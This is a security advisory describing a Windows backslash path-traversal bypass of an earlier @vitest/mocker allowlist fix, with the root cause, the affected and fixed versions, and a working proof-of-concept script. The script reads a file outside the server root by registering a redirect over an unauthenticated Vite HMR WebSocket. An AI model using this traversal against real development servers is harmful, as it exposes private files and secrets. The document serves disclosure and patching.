GHSA-xp26-3454-mjgp

ghsaUSosv

Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix

view advisory published 2026-10-21Licence: CC-BY-4.0

## Summary The path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname. The fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\secret.txt` retains `..\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root. I reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines: - `@vitest/mocker@4.1.11` - `@vitest/mocker@5.0.0` The current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior. ## Patches Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\` resolves the same as `../` and the allowlist check rejects it. ## Relationship to GHSA-82fw-gwwq-j7x9 This is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted. The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore: - `4.1.11` - `>=5.0.0-rc.2, <5.0.3` Older affected releases remain covered by GHSA-82fw-gwwq-j7x9. ## Root cause `packages/mocker/src/node/interceptorPlugin.ts` imports `join` from `node:path/posix`. Redirect registration currently performs the equivalent of: ```ts const redirect = join(server.config.root, redirectUrl.pathname) if (!isFileLoadingAllowed(server.config, redirect)) return event.redirect = redirect ``` The registered value later reaches: ```ts readFile(mock.redirect, 'utf-8') ``` Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but `readFile` interprets them as separators. The check and the sink therefore interpret the same string differently. The authenticated browser RPC fallback in `packages/browser/src/node/rpc.ts` is not affected: it joins the path with `pathe`, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path. ## Preconditions and impact A client that can reach a Vite server using the public `mockerPlugin` or standalone `interceptorPlugin` WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside `server.fs.allow` that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions. The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed. ## Reproduction Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling `secret.txt` containing a canary. Install dependencies for either affected line: ```console npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3 # or npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3 node poc.mjs ``` `poc.mjs`: ```js import { mkdir, writeFile } from 'node:fs/promises' import { join } from 'node:path' import { tmpdir } from 'node:os' import { randomUUID } from 'node:crypto' import { interceptorPlugin } from '@vitest/mocker/node' import { createServer } from 'vite' import { WebSocket } from 'ws' const base = join(tmpdir(), `vitest-path-${randomUUID()}`) const root = join(base, 'root') const secret = join(base, 'secret.txt') await mkdir(root, { recursive: true }) await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY') const server = await createServer({ root, configFile: false, logLevel: 'silent', server: { fs: { allow: [root] } }, plugins: [ { name: 'validation:virtual-modules', enforce: 'pre', resolveId(id) { if (id === '/control' || id === '/bypass') return id }, }, interceptorPlugin(), ], }) await server.listen() const port = new URL(server.resolvedUrls.local[0]).port const baseUrl = server.resolvedUrls.local[0] function register(id, redirect) { return new Promise((resolve, reject) => { const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr') const timer = setTimeout(() => reject(new Error('registration timeout')), 5000) socket.on('message', (raw) => { let message try { message = JSON.parse(raw.toString()) } catch { return } if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') { clearTimeout(timer) socket.close() resolve() } }) socket.on('open', () => socket.send(JSON.stringify({ type: 'custom', event: 'vitest:interceptor:register', data: { type: 'redirect', raw: '', id, url: id, redirect }, }))) socket.on('error', reject) }) } try { await register('/control', 'traversal:../secret.txt') const controlResponse = await fetch(new URL('/control', baseUrl)) const controlBody = await controlResponse.text() await register('/bypass', 'traversal:..\\secret.txt') const bypassResponse = await fetch(new URL('/bypass', baseUrl)) const bypassBody = await bypassResponse.text() const result = { platform: process.platform, root, outsideFile: secret, slashTraversalStatus: controlResponse.status, slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'), backslashTraversalStatus: bypassResponse.status, backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'), returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null, expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1', } console.log(JSON.stringify(result, null, 2)) const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked ? !result.backslashTraversalReturnedOutsideCanary : result.backslashTraversalReturnedOutsideCanary if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1 } finally { await server.close() } ``` Observed with `@vitest/mocker@4.1.11`: ```json { "platform": "win32", "slashTraversalStatus": 404, "slashTraversalRejected": true, "backslashTraversalStatus": 200, "backslashTraversalReturnedOutsideCanary": true, "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY", "expectedBackslashTraversalBlocked": false } ``` The same result was observed with `@vitest/mocker@5.0.0`. This includes two useful controls: 1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active. 2. `traversal:..\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.

01

describes (1)

Related CVEs.

IDseverity exploitable
CVE-2026-112950US——
Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 4.1.11 until 4.1.12 and 5.0.3, isFileLoadingAllowed and the filesystem read interpret backsla…
02

references

External citations — patches, advisories, analysis.

scry

Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.

Free scan